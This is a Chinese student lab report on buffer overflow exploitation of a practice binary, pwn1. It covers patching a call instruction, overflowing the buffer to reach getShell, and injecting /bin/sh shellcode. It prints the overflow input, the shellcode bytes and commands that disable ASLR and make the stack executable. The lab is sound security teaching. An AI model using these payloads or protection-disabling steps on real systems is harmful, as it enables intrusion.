20192416《系统与网络攻防技术》实验一实验报告

实验内容

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

1.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

1.2 基础知识

熟悉Linux基本操作
能看懂常用指令,如管道（|），输入、输出重定向（>）等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。

实验过程

2.1 直接修改程序机器指令，改变程序执行流程

2.1.1 下载目标文件pwn1,反汇编。

在上图中可以看到的"call 8048491 "是汇编指令
这条指令将调用位于地址8048491处的foo函数；
其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

main函数调用foo，对应机器指令为“ e8 d7ffffff”，

那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

2.1.2 找到call指令的原目标地址

首先通过命令 cp pwn1 pwn2复制一份文件
vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

在实际操作时e8d7搜索不到，实际上要搜索f0e8，如下图：

将e8d7改为e8c3后：

对修改后的文件再进行反汇编，发现call指令目标地址已经修改成功：

运行文件进行验证：

2.2 输入参数造成BOF攻击，改变程序执行

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

可以使用16进制查看指令xxd查看input文件的内容是否如预期

然后将input的输入，通过管道符“|”，作为pwn1的输入。

2.3 注入Shellcode并执行

2.3.1 准备工作

修改设置

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

2.3.2 构造要注入的payload

root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

再打开另一个终端，首先使用命令找到pwn的进程号，并使用gbd调试该进程

然后找到对应的要替换的地址：

2.3.3 运行程序

接下来利用perl语言修改返回地址并运行程序：

3 问题及解决方案

问题一：在找call指令的原目标地址时搜索e8d7搜索不到
解决方案：通过观察视频，搜索f0e8，最终成功定位。

问题二：使用命令execstack出现报错。
解决方案：寻求同学帮助，得知可以前往execstack的官方网站下载Debian版本进行安装。

4 学习感悟

本次实验我们学习了如何进行缓冲区溢出攻击，不同于在课堂上的原理的学习，我们亲手进行攻击的实现，让我对缓冲区溢出有了更深层次的理解。同时，我们还学会了如何初步处理分析可执行文件，为接下来的实验打下一个良好的基础。

这次的实验对我来说是个不小的挑战，在实验当中由于环境配置、包的安装等方面的问题，让我浪费了不少时间在与实验内容无关的方面上。非常的可惜。